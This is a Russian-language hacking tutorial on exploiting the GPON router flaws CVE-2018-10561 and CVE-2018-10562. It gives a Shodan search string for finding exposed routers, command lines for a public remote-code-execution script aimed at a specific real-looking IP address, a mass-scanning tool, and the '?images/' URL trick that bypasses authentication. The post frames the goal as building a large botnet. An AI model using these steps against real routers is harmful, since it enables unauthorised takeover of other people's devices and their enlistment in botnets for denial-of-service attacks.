Эксплуатируем критическую уязвимость в роутерах GPON

Эксплуатируем критическую уязвимость в роутерах GPON

B1ACK_GARANT

По разным данным, удалось заразить от 200 000 тысяч и до миллиона.

Привет, анон. Сегодня рассмотрим несложную, но интересную эксплуатацию уязвимости роутеров GPON. Дело в том, что она была обнаружена достаточно давно, но сами разработчики не собираются ее исправлять, так как истекли контракты, а за ситуацию боролись энтузиасты. Последние выпустили альтернативный патч, который позволил избежать такой уязвимости. Но тем не менее, им воспользовались далеко не все владельцы, поэтому уязвимость работает и сейчас.

Если рассматривать с мировой практики, то названия уязвимостей — CVE-2018–10561 (Обход аутентификации) и CVE-2018–10562 (Удаленное исполнение произвольного кода). В момент обнаружения такой проблемы более 1 миллиона устройств могли подвергнуться атаке.

Поиск устройств GPON

Для этого будем использовать Shodan. Можно также использовать и другие поисковые системы. Наиболее простой фильтр:

title:"GPON Home Gateway" port:"80"

На момент написания статьи было найдено 35 171 устройств. Наиболее “богат” на такие уязвимости Вьетнам:

Эксплуатация уязвимости

Работа проводилась на OC — Linux Mint 18.3 Sylvia.


Для начала переходим в раздел, где опубликован Proof-of-concept. Нас интересует файл gron_rce.py. Скачиваем его и размещаем в удобное место в директории. Далее рассмотрим стек команд:

python gpon_rce.py <Наша цель> <'исполняемая команда'>

Пример рабочей команды:

python gpon_rce.py http://41.182.233.87 'id'

В случае успешной эксплуатации получаем вывод введенной команды. В случае, если уязвимость не работает, ответ на команду будет: "None". Такие варианты также бывают. Переходим на следующий этап.

Теперь у нас есть возможность удаленно выполнять команды на роутере. Посмотрим список директорий, который есть:

python gpon_rce.py http://41.182.233.87 'ls -a'

Видим, что есть достаточно много папок. Но нас интересует папка web, где расположены все формы, которые используются посредством удаленного управления:

python gpon_rce.py http://41.182.233.87 'ls web/html'

Можем также выполнить команду ifconfig, чтобы получить дополнительную информацию:

python gpon_rce.py http://41.182.233.87 'ifconfig'

В этом способе есть небольшой минус — проверки нужно проводить в ручном режиме. Для повышения эффективности работы я нашел еще один инструмент, который существенно повысит скорость работы. Для работы нужен премиум Shodan API Key, который можно получить в своем кабинете. Стоимость такого счастья $49. К сожалению, стандартного будет недостаточно.

Использование Pingpon

Скачиваем и запускаем утилиту Pingpon:


После успешного ввода ключа, начнется сканирование и вы сможете получить список уязвимых устройств.

Предоставляется для пользователей он в таком формате:

Вот еще один инструмент, который позволяет работать с данным типом уязвимостей. Конечно этот способ более удобный, но требует наличия премиум ключа Shodan. Я предоставил альтернативы, а вы можете работать с одним из вариантов.

Вторая особенность заключалась в том, что можно было добавить "?images/" (например, "/diag.html?images/" или "/GponForm/diag_FORM?images/") и получить возможность работы с конфигурацией роутера без необходимости прохождения аутентификации. Уязвимость присутствует в типовом HTTP-сервере, применяемом в различных моделях домашних GPON-маршрутизаторов.

Заключение

Основная идея заключалась в том, чтобы создать большую ботнет сеть. За это соревновались сразу пять крупных ботнетов: Hajime, Mettle, Mirai, Muhstik и Satori. По разным данным, удалось заразить от 200 000 тысяч и до миллиона. Такая ботнет сеть способна положить практически любой ресурс. На данный момент, количество потенциально уязвимых устройств существенно уменьшилось, но осталось еще достаточно много устройств, которые не были обновлены или не была отключена возможность удаленного управления.

Report Page